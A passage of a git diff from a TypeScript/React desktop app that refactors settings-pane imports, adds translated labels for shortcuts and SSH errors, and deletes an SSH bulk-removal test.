+import { loadMcpConfigInspections } from '../../../../runtime/mcp/configuration/mcp-config-inspection'
+import type { LoadedMcpConfigInspection } from '../../../../runtime/mcp/configuration/mcp-config-inspection'
 import { formatMcpConfigSummary } from './mcp-config-summary'
 import { useTranslate } from '@/i18n/use-translate'
-import { captureDirectSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
+import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation'
 import { writeRuntimeFile } from '@/runtime/files/mutations/runtime-file-mutation-client'
 import {
   assertFileWriteApplied,
   missingOrIdenticalPrecondition
 } from '../../../../../../shared/file-write/file-write-disk-precondition'
-import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
 import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
 import { SettingsGroup } from '../../section-layout/SettingsGroup'
+import type { Repo } from '../../../../../../shared/repo-types'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
 
 type McpConfigSectionProps = {
   repo: Repo
diff --git a/src/renderer/src/components/settings/repository/source-control/RepositorySourceControlAiHostedReviewDefaults.tsx b/src/renderer/src/components/settings/repository/source-control/RepositorySourceControlAiHostedReviewDefaults.tsx
index e25f39255ae..0a42b616557 100644
--- a/src/renderer/src/components/settings/repository/source-control/RepositorySourceControlAiHostedReviewDefaults.tsx
+++ b/src/renderer/src/components/settings/repository/source-control/RepositorySourceControlAiHostedReviewDefaults.tsx
@@ -6,8 +6,7 @@ import type {
 import { Label } from '../../../ui/label'
 import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../../ui/select'
 import { triStateValue } from './repository-source-control-ai-draft'
-import { translate } from '@/i18n/i18n'
-import { useTranslate } from '@/i18n/use-translate'
+import { useTranslate, type Translate } from '@/i18n/use-translate'
 
 type HostedReviewDefaultKey = keyof NonNullable<RepoSourceControlAiOverrides['prCreationDefaults']>
 
@@ -17,42 +16,36 @@ type RepositorySourceControlAiHostedReviewDefaultsProps = {
   onChange: (key: HostedReviewDefaultKey, value: string) => void
 }
 
-const HOSTED_REVIEW_DEFAULT_ROWS: { key: HostedReviewDefaultKey; label: string }[] = [
+const getHostedReviewDefaultRows = (
+  t: Translate
+): { key: HostedReviewDefaultKey; label: string }[] => [
   {
     key: 'draft',
-    get label() {
-      return translate(
-        'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.981eae7e14',
-        'Draft by default'
-      )
-    }
+    label: t(
+      'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.981eae7e14',
+      'Draft by default'
+    )
   },
   {
     key: 'useTemplate',
-    get label() {
-      return translate(
-        'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.d32b87e754',
-        'Use review template when available'
-      )
-    }
+    label: t(
+      'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.d32b87e754',
+      'Use review template when available'
+    )
   },
   {
     key: 'generateDetailsOnOpen',
-    get label() {
-      return translate(
-        'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.14f1eb99d0',
-        'Generate details when opening Create PR'
-      )
-    }
+    label: t(
+      'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.14f1eb99d0',
+      'Generate details when opening Create PR'
+    )
   },
   {
     key: 'openAfterCreate',
-    get label() {
-      return translate(
-        'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.629ed8a9d3',
-        'Open hosted review after creation'
-      )
-    }
+    label: t(
+      'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.629ed8a9d3',
+      'Open hosted review after creation'
+    )
   }
 ]
 
@@ -71,8 +64,17 @@ export function RepositorySourceControlAiHostedReviewDefaults({
         )}
       </Label>
       <div className="space-y-2">
-        {HOSTED_REVIEW_DEFAULT_ROWS.map((row) => {
-          const inherited = source.prCreationDefaults?.[row.key] === true ? 'On' : 'Off'
+        {getHostedReviewDefaultRows(t).map((row) => {
+          const inherited =
+            source.prCreationDefaults?.[row.key] === true
+              ? t(
+                  'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.777443bf89',
+                  'On'
+                )
+              : t(
+                  'auto.components.settings.RepositorySourceControlAiHostedReviewDefaults.053ccfbf52',
+                  'Off'
+                )
           return (
             <div
               key={row.key}
diff --git a/src/renderer/src/components/settings/runtime-environments/catalog/runtime-environment-host-details.ts b/src/renderer/src/components/settings/runtime-environments/catalog/runtime-environment-host-details.ts
index 2836ca75b3b..be1d02e325c 100644
--- a/src/renderer/src/components/settings/runtime-environments/catalog/runtime-environment-host-details.ts
+++ b/src/renderer/src/components/settings/runtime-environments/catalog/runtime-environment-host-details.ts
@@ -4,7 +4,7 @@ import {
   evaluateRuntimeCompat,
   type RuntimeCompatVerdict
 } from '../../../../../../shared/protocol-compat'
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import {
   MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
   RUNTIME_PROTOCOL_VERSION
diff --git a/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-connection-actions.ts b/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-connection-actions.ts
index 009b196d600..035ef216dc1 100644
--- a/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-connection-actions.ts
+++ b/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-connection-actions.ts
@@ -5,7 +5,7 @@ import { unwrapRuntimeRpcResult } from '@/runtime/rpc/calls/runtime-rpc-result'
 import { extractRuntimeTransportDiagnostics } from '@/runtime/hosts/connections/runtime-status-probe-diagnostics'
 import { useAppStore } from '@/store/index'
 
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import type { RuntimeStatus } from '../../../../../../shared/runtime-session-contracts'
 import { evaluateHostDetails, type RuntimeHostDetails } from './runtime-environment-host-details'
diff --git a/src/renderer/src/components/settings/runtime-environments/server-rows/runtime-server-list.tsx b/src/renderer/src/components/settings/runtime-environments/server-rows/runtime-server-list.tsx
index 4607f616df8..c51da5ddc2e 100644
--- a/src/renderer/src/components/settings/runtime-environments/server-rows/runtime-server-list.tsx
+++ b/src/renderer/src/components/settings/runtime-environments/server-rows/runtime-server-list.tsx
@@ -8,7 +8,7 @@ import type { ManagedOrcadPreloadApi } from '../../../../../../preload/api/manag
 import type { RemoteServerUpdateEntry } from '@/runtime/hosts/updates/remote-server-update-coordinator'
 import type { UpdateCheckOptions } from '../../../../../../shared/update-status-types'
 import { useTranslate } from '@/i18n/use-translate'
-import { duplicatePairedServerNames } from '@/lib/duplicate-paired-servers'
+import { duplicatePairedServerNames } from '@/lib/workspace/ownership/duplicate-paired-servers'
 import { LoadingSpinner } from '../../../LoadingSpinner'
 import { Button } from '../../../ui/button'
 import { migrationPhaseLabel } from '../managed-servers/managed-server-copy'
diff --git a/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx b/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx
index f70f07e9158..77b41ad28a8 100644
--- a/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx
+++ b/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx
@@ -11,6 +11,7 @@ import {
 } from '../../../../../shared/execution-host'
 import { Button } from '@/components/ui/button'
 import { Label } from '@/components/ui/label'
+import { translateLocalExecutionHostLabel } from '@/components/sidebar/execution-host-label'
 import { isWebClientLocation } from '@/app-shell/platform/web-client-location'
 import { translate } from '@/i18n/i18n'
 import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
@@ -71,7 +72,7 @@ export function SessionHistorySettingsPane({
   const servers = isWebClient ? [] : environments
   const localEntry: SessionSearchComputerEntry = {
     id: LOCAL_EXECUTION_HOST_ID,
-    name: getLocalExecutionHostLabel(),
+    name: translateLocalExecutionHostLabel(getLocalExecutionHostLabel()),
     state: policy.enabled ? 'on' : 'off'
   }
   const serverEntries = servers.map((environment) => ({
@@ -190,7 +191,7 @@ export function SessionHistorySettingsPane({
               )
             : t(
                 'sessionHistory.settings.computersConsent',
-                'Each computer keeps a searchable copy of its own agent conversations. Nothing leaves that computer.'
+                'Each computer keeps its own searchable index of agent conversations. Authenticated paired clients can receive search results.'
               )}
         </p>
       </div>
diff --git a/src/renderer/src/components/settings/shortcuts/ShortcutCommandBlock.tsx b/src/renderer/src/components/settings/shortcuts/ShortcutCommandBlock.tsx
index b846984cb4c..b6c5ab9d833 100644
--- a/src/renderer/src/components/settings/shortcuts/ShortcutCommandBlock.tsx
+++ b/src/renderer/src/components/settings/shortcuts/ShortcutCommandBlock.tsx
@@ -119,7 +119,7 @@ export function ShortcutCommandBlock({
       className="group/shortcut flex max-w-none flex-col"
     >
       <div className="flex min-h-9 items-center gap-3 rounded-md px-2 py-1 transition-colors hover:bg-accent/40 focus-within:bg-accent/40">
-        <div className="flex min-w-0 flex-1 items-center gap-2">
+        <div className="flex min-w-0 flex-1 flex-wrap items-center gap-x-2 gap-y-1">
           <TruncatedSidebarLabel
             text={item.title}
             className={cn('text-sm', isDisabled ? 'text-muted-foreground' : 'text-foreground')}
diff --git a/src/renderer/src/components/settings/shortcuts/ShortcutRowsList.tsx b/src/renderer/src/components/settings/shortcuts/ShortcutRowsList.tsx
index f85ded7d74e..364803f7e87 100644
--- a/src/renderer/src/components/settings/shortcuts/ShortcutRowsList.tsx
+++ b/src/renderer/src/components/settings/shortcuts/ShortcutRowsList.tsx
@@ -4,6 +4,7 @@ import { cn } from '../../../lib/class-names'
 import { ShortcutCommandBlock } from './ShortcutCommandBlock'
 import type { ShortcutRowsByGroup } from './ShortcutFilterRail'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateShortcutGroupTitle } from './shortcut-action-copy'
 
 const EMPTY_BINDINGS: readonly string[] = []
 
@@ -64,7 +65,7 @@ export function ShortcutRowsList({
       {groups.map((group) => (
         <div key={group.title} className="space-y-3">
           <h3 className="border-b border-border/50 pb-2 text-sm font-medium text-muted-foreground">
-            {group.title}
+            {translateShortcutGroupTitle(group.title)}
           </h3>
           <div className="flex flex-col gap-3">
             {group.rows.map((row) => (
diff --git a/src/renderer/src/components/settings/shortcuts/ShortcutsPane.tsx b/src/renderer/src/components/settings/shortcuts/ShortcutsPane.tsx
index d4a163a6a48..aa80ff6d37c 100644
--- a/src/renderer/src/components/settings/shortcuts/ShortcutsPane.tsx
+++ b/src/renderer/src/components/settings/shortcuts/ShortcutsPane.tsx
@@ -13,11 +13,6 @@ import {
 } from '../../../../../shared/keybindings/profile-defaults'
 import { keybindingFromInputForAction } from '../../../../../shared/keybindings/input'
 import { normalizeKeybindingListForAction } from '../../../../../shared/keybindings/normalization'
-import type {
-  KeybindingActionId,
-  KeybindingDefinition,
-  KeybindingInput
-} from '../../../../../shared/keybindings/types'
 import { EMPTY_DISABLED_TUI_AGENTS } from './shortcut-groups'
 import { useAppStore } from '../../../store/index'
 import { KeybindingsFileActions } from './KeybindingsFileActions'
@@ -27,7 +22,8 @@ import {
   removeBindingOverride,
   sameBindings
 } from './keybinding-override-edits'
-import { ShortcutFilterRail, type ShortcutFilter } from './ShortcutFilterRail'
+import { ShortcutFilterRail } from './ShortcutFilterRail'
+import type { ShortcutFilter } from './ShortcutFilterRail'
 import { ShortcutRowsList } from './ShortcutRowsList'
 import { ShortcutTerminalPolicyControl } from './ShortcutTerminalPolicyControl'
 import { getTerminalShortcutPolicySearchEntry } from './shortcuts-search'
@@ -43,11 +39,16 @@ import { useMountedRef } from '@/hooks/useMountedRef'
 import { useTranslate } from '@/i18n/use-translate'
 import { useEditablePluginCommands } from '@/store/plugins/catalog/plugin-contribution-catalog'
 import { buildShortcutDefinitionCatalog } from './shortcut-definition-catalog'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { buildShortcutRowVisibility } from './shortcut-row-visibility'
 import { useMacCapturedDigitChords } from './use-mac-captured-digit-chords'
 import { keybindingValidationErrorText } from './keybinding-diagnostic-text'
 import { KeybindingFileDiagnostics } from './KeybindingFileDiagnostics'
+import type {
+  KeybindingActionId,
+  KeybindingDefinition,
+  KeybindingInput
+} from '../../../../../shared/keybindings/types'
 
 const isMac = navigator.userAgent.includes('Mac')
 const platform: NodeJS.Platform = isMac
diff --git a/src/renderer/src/components/settings/shortcuts/shortcut-action-copy.ts b/src/renderer/src/components/settings/shortcuts/shortcut-action-copy.ts
new file mode 100644
index 00000000000..cb6cb6fb5f7
--- /dev/null
+++ b/src/renderer/src/components/settings/shortcuts/shortcut-action-copy.ts
@@ -0,0 +1,115 @@
+import { translate } from '@/i18n/i18n'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
+import type { KeybindingActionId } from '../../../../../shared/keybindings'
+import { tuiAgentDisplayName } from '../../../../../shared/agent-launch/catalog/tui-agent-display-names'
+import type { ShortcutFilter } from './ShortcutFilterRail'
+
+const GROUP_KEYS: Record<string, string> = {
+  Global: 'settings.shortcuts.groups.global',
+  Tabs: 'settings.shortcuts.groups.tabs',
+  'Tab Navigation': 'settings.shortcuts.groups.tabNavigation',
+  'Quick Commands': 'settings.shortcuts.groups.quickCommands',
+  Browser: 'settings.shortcuts.groups.browser',
+  Editors: 'settings.shortcuts.groups.editors',
+  'File Explorer': 'settings.shortcuts.groups.fileExplorer',
+  Settings: 'settings.shortcuts.groups.settings',
+  'Terminal Panes': 'settings.shortcuts.groups.terminalPanes',
+  Agents: 'settings.shortcuts.groups.agents',
+  Chat: 'settings.shortcuts.groups.chat'
+}
+
+export function translateShortcutActionTitle(actionId: string, fallback: string): string {
+  if (actionId.startsWith('tab.newAgent.')) {
+    const agent = actionId.slice('tab.newAgent.'.length)
+    const agentName = tuiAgentDisplayName(agent) ?? agent
+    return translate('settings.shortcuts.actions.tab.newAgentNamed', 'New {{agent}} tab', {
+      agent: agentName
+    })
+  }
+  return translate(`settings.shortcuts.actions.${actionId}`, fallback)
+}
+
+const KEYBINDING_VALIDATION_ERRORS: Record<string, { key: string; fallback: string }> = {
+  'Use a shortcut like Ctrl+Shift+P or Cmd+K.': {
+    key: 'settings.shortcuts.validation.exampleChord',
+    fallback: 'Use a shortcut like Ctrl+Shift+P or Cmd+K.'
+  },
+  'Use either Mod or a platform-specific modifier, not both.': {
+    key: 'settings.shortcuts.validation.modOrPlatform',
+    fallback: 'Use either Mod or a platform-specific modifier, not both.'
+  },
+  'Include at least one modifier key.': {
+    key: 'settings.shortcuts.validation.needModifier',
+    fallback: 'Include at least one modifier key.'
+  },
+  'Pick a number key 1–9 with a modifier, like Cmd+1 or Ctrl+1.': {
+    key: 'settings.shortcuts.validation.digitIndex',
+    fallback: 'Pick a number key 1–9 with a modifier, like Cmd+1 or Ctrl+1.'
+  },
+  'Press a key, not only a modifier.': {
+    key: 'settings.shortcuts.validation.needNonModifier',
+    fallback: 'Press a key, not only a modifier.'
+  }
+}
+
+export function translateKeybindingValidationError(message: string): string {
+  const known = KEYBINDING_VALIDATION_ERRORS[message]
+  return known ? translate(known.key, known.fallback) : message
+}
+
+export function translateShortcutGroupTitle(group: string): string {
+  const key = GROUP_KEYS[group]
+  return key ? translate(key, group) : group
+}
+
+export function translateShortcutFilterLabel(filter: ShortcutFilter): string {
+  switch (filter) {
+    case 'all':
+      return translate('settings.shortcuts.filters.all', 'All')
+    case 'modified':
+      return translate('settings.shortcuts.filters.modified', 'Modified')
+    case 'unassigned':
+      return translateUnassignedLabel()
+    case 'conflicts':
+      return translate('settings.shortcuts.filters.conflicts', 'Conflicts')
+  }
+}
+
+export function translateShortcutConflictWarning(
+  bindingLabel: string,
+  actionTitles: string
+): string {
+  return translate('settings.shortcuts.conflict', '{{binding}} conflicts with {{titles}}.', {
+    binding: bindingLabel,
+    titles: actionTitles
+  })
+}
+
+export function translateShortcutMutationFailure(
+  error: unknown,
+  key: string,
+  fallback: string
+): string {
+  return error instanceof Error ? error.message : translate(key, fallback)
+}
+
+export function translateShortcutConflictActionTitles(
+  actionIds: readonly string[],
+  excludedActionId: string,
+  definitionsByAction: ReadonlyMap<string, { id: string; title: string }>
+): string {
+  return actionIds
+    .filter((id) => id !== excludedActionId)
+    .map((id) => {
+      const definition = definitionsByAction.get(id)
+      return definition ? translateShortcutActionTitle(definition.id, definition.title) : id
+    })
+    .join(', ')
+}
+
+export function translateKeybindingActionId(
+  actionId: KeybindingActionId,
+  fallback: string
+): string {
+  return translateShortcutActionTitle(actionId, fallback)
+}
diff --git a/src/renderer/src/components/settings/shortcuts/shortcut-definition-catalog.ts b/src/renderer/src/components/settings/shortcuts/shortcut-definition-catalog.ts
index dab1dad6564..d6e22000e51 100644
--- a/src/renderer/src/components/settings/shortcuts/shortcut-definition-catalog.ts
+++ b/src/renderer/src/components/settings/shortcuts/shortcut-definition-catalog.ts
@@ -13,7 +13,7 @@ import {
 } from '../../../../../shared/macos-symbolic-hotkeys'
 import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import type { ActivePluginCommand } from '@/store/plugins/catalog/plugin-contribution-catalog'
-import { buildPluginCommandKeybindingDefinitions } from '@/lib/plugin-command-keybindings'
+import { buildPluginCommandKeybindingDefinitions } from '@/lib/plugins/commands/plugin-command-keybindings'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 import { disabledAgentTabActionIds, groupDefinitions, type ShortcutGroup } from './shortcut-groups'
diff --git a/src/renderer/src/components/settings/ssh/SshPane.test.tsx b/src/renderer/src/components/settings/ssh/SshPane.test.tsx
deleted file mode 100644
index a126a8f00ce..00000000000
--- a/src/renderer/src/components/settings/ssh/SshPane.test.tsx
+++ /dev/null
@@ -1,172 +0,0 @@
-// @vitest-environment happy-dom
-
-// @vitest-environment happy-dom
-import { act, type ReactNode } from 'react'
-import { createRoot } from 'react-dom/client'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { resetSshConfigPassiveSyncForTests } from '../../../lib/ssh-config-passive-sync'
-import type { SshConnectionState, SshTarget } from '../../../../../shared/ssh-types'
-
-import { TooltipProvider } from '@/components/ui/tooltip'
-import { SshPane } from './SshPane'
-
-const mocks = vi.hoisted(() => ({
-  success: vi.fn(),
-  toast: vi.fn(),
-  recordReadoptions: vi.fn(),
-  recordInteraction: vi.fn(),
-  requestRemove: vi.fn(),
-  requestBulkRemove: vi.fn(),
-  openSettingsTarget: vi.fn(),
-  connectionStates: new Map<string, SshConnectionState>()
-}))
-vi.mock('sonner', () => ({
-  toast: Object.assign(mocks.toast, { success: mocks.success, error: vi.fn() })
-}))
-vi.mock('@/store/index', () => {
-  const state = {
-    sshConnectionStates: mocks.connectionStates,
-    recordFeatureInteraction: mocks.recordInteraction,
-    setSshTargetsMetadata: vi.fn(),
-    recordSshRepoReadoptions: mocks.recordReadoptions,
-    openSettingsTarget: mocks.openSettingsTarget,
-    repos: [],
-    worktreesByRepo: {}
-  }
-  return {
-    useAppStore: Object.assign((select: (value: typeof state) => unknown) => select(state), {
-      getState: () => state
-    })
-  }
-})
-vi.mock('@/ssh/ssh-old-relay-terminals-action', () => ({
-  useSshConnectFailureToast: () => vi.fn()
-}))
-vi.mock('./targets/SshTargetForm', () => ({ SshTargetForm: () => null }))
-vi.mock('../../ssh-host-form/ssh-target-draft', () => ({ EMPTY_FORM: {} }))
-vi.mock('./targets/SshTargetDestructiveActions', () => ({
-  SshTargetDestructiveActions: ({
-    children
-  }: {
-    children: (actions: {
-      busyActionForTarget: () => undefined
-      requestRemove: () => void
-      requestBulkRemove: () => void
-    }) => ReactNode
-  }) =>
-    children({
-      busyActionForTarget: () => undefined,
-      requestRemove: mocks.requestRemove,
-      requestBulkRemove: mocks.requestBulkRemove
-    })
-}))
-vi.mock('./server-actions/SshTargetServerStatus', () => ({
-  SshTargetServerStatusLine: () => null,
-  SshTargetServerMenuItems: () => null,
-  SshTargetServerDialogs: () => null
-}))
-// Radix menus open on pointer events happy-dom doesn't model; render items as plain buttons.
-vi.mock('../../ui/dropdown-menu', () => {
-  const passthrough = ({ children }: { children?: ReactNode }): ReactNode => children
-  return {
-    DropdownMenu: passthrough,
-    DropdownMenuTrigger: passthrough,
-    DropdownMenuContent: passthrough,
-    DropdownMenuSeparator: () => null,
-    DropdownMenuItem: ({ children, onSelect }: { children?: ReactNode; onSelect?: () => void }) => (
-      <button role="menuitem" onClick={() => onSelect?.()}>
-        {children}
-      </button>
-    )
-  }
-})
-vi.mock('./targets/SshTargetsEmptyState', () => ({ SshTargetsEmptyState: () => null }))
-
-let root: ReturnType<typeof createRoot> | null = null
-let container: HTMLDivElement | null = null
-
-afterEach(async () => {
-  await act(async () => {
-    root?.unmount()
-  })
-  container?.remove()
-  container = null
-  root = null
-  Reflect.deleteProperty(window, 'api')
-  resetSshConfigPassiveSyncForTests()
-  mocks.connectionStates.clear()
-  vi.clearAllMocks()
-})
-
-describe('bulk removal from SSH settings', () => {
-  const host = (id: string, extra: Partial<SshTarget> = {}): SshTarget => ({
-    id,
-    label: id,
-    host: `${id}.example.test`,
-    port: 22,
-    username: 'dev',
-    source: 'ssh-config',
-    ...extra
-  })
-
-  async function renderPane(targets: SshTarget[]): Promise<HTMLDivElement> {
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: {
-        ssh: {
-          importConfig: async () => ({ targets: [], repoReadoptions: [] }),
-          listTargets: async () => targets,
-          removeTarget: vi.fn(),
-          testConnection: async ({ targetId }: { targetId: string }) =>
-            targetId === 'beta' ? { success: false, error: 'timed out' } : { success: true }
-        }
-      }
-    })
-    container = document.createElement('div')
-    document.body.appendChild(container)
-    root = createRoot(container)
-    await act(async () => {
-      root?.render(
-        <TooltipProvider>
-          <SshPane />
-        </TooltipProvider>
-      )
-    })
-    return container
-  }
-
-  function checkbox(host: HTMLElement, label: string): HTMLElement {
-    return host.querySelector<HTMLElement>(`[aria-label="Select ${label}"]`)!
-  }
-
-  it('drops hosts the filter hides from the selection, so they are never removed unseen', async () => {
-    const names = ['alpha', 'beta', 'c3', 'c4', 'c5', 'c6', 'c7', 'c8', 'c9']
-    const pane = await renderPane(names.map((name) => host(name)))
-    await act(async () => checkbox(pane, 'alpha').click())
-    await act(async () => checkbox(pane, 'beta').click())
-    expect(pane.textContent).toContain('2 selected')
-    const filter = pane.querySelector<HTMLInputElement>('input[aria-label="Filter hosts"]')!
-    await act(async () => {
-      Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(
-        filter,
-        'beta'
-      )
-      filter.dispatchEvent(new Event('input', { bubbles: true }))
-    })
-    expect(pane.textContent).toContain('1 selected')
-    const remove = Array.from(pane.querySelectorAll('button')).find(
-      (button) => button.textContent === 'Remove 1'
-    )
-    await act(async () => remove?.click())
-    expect(mocks.requestRemove).toHaveBeenCalledWith(expect.objectContaining({ id: 'beta' }))
-    expect(mocks.requestBulkRemove).not.toHaveBeenCalled()
-
-    // Explain when filtering deselects the last host instead of silently hiding the bulk bar.
-    await act(async () => {
-      Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(filter, 'c3')
-      filter.dispatchEvent(new Event('input', { bubbles: true }))
-    })
-    expect(pane.textContent).not.toContain('selected ')
-    expect(pane.textContent).toContain('1 hidden host deselected')
-  })
-})
diff --git a/src/renderer/src/components/settings/ssh/SshPane.tsx b/src/renderer/src/components/settings/ssh/SshPane.tsx
index e4cf3dcb957..45ed6b8a5c6 100644
--- a/src/renderer/src/components/settings/ssh/SshPane.tsx
+++ b/src/renderer/src/components/settings/ssh/SshPane.tsx
@@ -1,7 +1,6 @@
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
 import { useCallback, useEffect, useMemo, useState } from 'react'
 import { toast } from 'sonner'
-import type { SshTarget } from '../../../../../shared/ssh-types'
 import { useAppStore } from '@/store/index'
 import { toastSshConnectFailure } from '@/ssh/ssh-connect-failure-toast'
 import { useMountedRef } from '@/hooks/useMountedRef'
@@ -22,13 +21,10 @@ import {
 } from './targets/ssh-target-list-model'
 import { useSshBulkRemove } from './targets/use-ssh-bulk-remove'
 import { SshTargetForm } from './targets/SshTargetForm'
-import {
-  EMPTY_FORM,
-  type EditingTarget,
-  getEditingTargetForSshTarget
-} from '../../ssh-host-form/ssh-target-draft'
-
+import { EMPTY_FORM, getEditingTargetForSshTarget } from '../../ssh-host-form/ssh-target-draft'
+import type { EditingTarget } from '../../ssh-host-form/ssh-target-draft'
 import { buildSshTargetSavePayload } from './targets/ssh-target-save-payload'
+import { formatSshUserFacingError } from './targets/ssh-user-facing-error'
 import { HostRemoveDialog } from '../../sidebar/HostRemoveDialog'
 import {
   isManagedServerSshHost,
@@ -41,7 +37,8 @@ import { toSshExecutionHostId } from '../../../../../shared/execution-host'
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
 import { useSshAddTargetIntent } from './targets/use-ssh-add-target-intent'
-import { syncSshConfigTargetsPassively } from '../../../lib/ssh-config-passive-sync'
+import { syncSshConfigTargetsPassively } from '../../../runtime/hosts/ssh/ssh-config-passive-sync'
+import type { SshTarget } from '../../../../../shared/ssh-types'
 
 type SshPaneProps = { addTargetIntentSignal?: number }
 
@@ -163,7 +160,7 @@ export function SshPane({ addTargetIntentSignal }: SshPaneProps): React.JSX.Elem
       if (mountedRef.current) {
         toast.error(
           err instanceof Error
-            ? err.message
+            ? formatSshUserFacingError(err.message)
             : t('auto.components.settings.SshPane.2227ce47b6', 'Failed to save target')
         )
       }
@@ -252,7 +249,7 @@ export function SshPane({ addTargetIntentSignal }: SshPaneProps): React.JSX.Elem
     } catch (err) {
       toast.error(
         err instanceof Error
-          ? err.message
+          ? formatSshUserFacingError(err.message)
           : t('auto.components.settings.SshPane.a43de1d3ee', 'Disconnect failed')
       )
     }
diff --git a/src/renderer/src/components/settings/ssh/targets/SshTargetDestructiveActions.tsx b/src/renderer/src/components/settings/ssh/targets/SshTargetDestructiveActions.tsx
index 20b37a5c315..798b4f1d29f 100644
--- a/src/renderer/src/components/settings/ssh/targets/SshTargetDestructiveActions.tsx
+++ b/src/renderer/src/components/settings/ssh/targets/SshTargetDestructiveActions.tsx
@@ -163,8 +163,8 @@ export function SshTargetDestructiveActions({
           'This will remove the target and end any active remote terminals.'
         )}
         targetLabel={pendingRemove?.label}
-        actionLabel="Remove"
-        busyLabel="Removing"
+        actionLabel={t('auto.components.settings.SshTargetDestructiveActions.remove', 'Remove')}
+        busyLabel={t('auto.components.settings.SshTargetDestructiveActions.removing', 'Removing')}
         isBusy={pendingRemoveIsBusy}
         onOpenChange={(open) => {
           if (pendingRemoveIsBusy) {
diff --git a/src/renderer/src/components/settings/ssh/targets/ssh-user-facing-error.ts b/src/renderer/src/components/settings/ssh/targets/ssh-user-facing-error.ts
new file mode 100644
index 00000000000..abf79a47fa8
--- /dev/null
+++ b/src/renderer/src/components/settings/ssh/targets/ssh-user-facing-error.ts
@@ -0,0 +1,83 @@
+import { translate } from '@/i18n/i18n'
+
+const ELECTRON_IPC_PREFIX = /^Error invoking remote method '[^']+':\s*(?:Error:\s*)?/i
+
+const KNOWN_SSH_ERRORS: { test: RegExp; key: string; fallback: string }[] = [
+  {
+    test: /connection lost before handshake/i,
+    key: 'settings.ssh.errors.handshakeLost',
+    fallback: 'Connection lost before handshake'
+  },
+  {
+    test: /encrypted private (?:OpenSSH )?key detected, but no passphrase given/i,
+    key: 'settings.ssh.errors.passphraseRequired',
+    fallback:
+      'Cannot parse privateKey: Encrypted private OpenSSH key detected, but no passphrase given'
+  },
+  {
+    test: /cannot parse privateKey:.*bad passphrase/i,
+    key: 'settings.ssh.errors.badPassphrase',
+    fallback: 'Cannot parse privateKey: OpenSSH key integrity check failed -- bad passphrase?'
+  },
+  {
+    test: /all configured authentication methods failed/i,
+    key: 'settings.ssh.errors.authMethodsFailed',
+    fallback: 'All configured authentication methods failed'
+  },
+  {
+    test: /timed out while waiting for handshake/i,
+    key: 'settings.ssh.errors.handshakeTimeout',
+    fallback: 'Timed out while waiting for handshake'
+  },
+  {
+    test: /host key verification failed/i,
+    key: 'settings.ssh.errors.hostKeyVerificationFailed',
+    fallback: 'Host key verification failed'
+  },
+  {
+    test: /permission denied \(publickey\)/i,
+    key: 'settings.ssh.errors.permissionDeniedPublickey',
+    fallback: 'Permission denied (publickey)'
+  },
+  {
+    test: /permission denied/i,
+    key: 'settings.ssh.errors.permissionDenied',
+    fallback: 'Permission denied'
+  },
+  {
+    test: /getaddrinfo ENOTFOUND/i,
+    key: 'settings.ssh.errors.hostNotFound',
+    fallback: 'Host not found'
+  },
+  {
+    test: /connect ECONNREFUSED/i,
+    key: 'settings.ssh.errors.connectionRefused',
+    fallback: 'Connection refused'
+  },
+  {
+    test: /connect ETIMEDOUT|connect EHOSTUNREACH/i,
+    key: 'settings.ssh.errors.connectionTimedOut',
+    fallback: 'Connection timed out'
+  }
+]
+
+export function stripElectronIpcErrorPrefix(raw: string): string {
+  return raw.replace(ELECTRON_IPC_PREFIX, '').trim()
+}
+
+export function formatSshUserFacingError(raw: string | null | undefined): string {
+  if (!raw?.trim()) {
+    return translate('auto.components.settings.SshPane.e95d5ae10e', 'Connection failed')
+  }
+  const message = stripElectronIpcErrorPrefix(raw)
+  for (const known of KNOWN_SSH_ERRORS) {
+    if (known.test.test(message)) {
+      return translate(known.key, known.fallback)
+    }
+  }
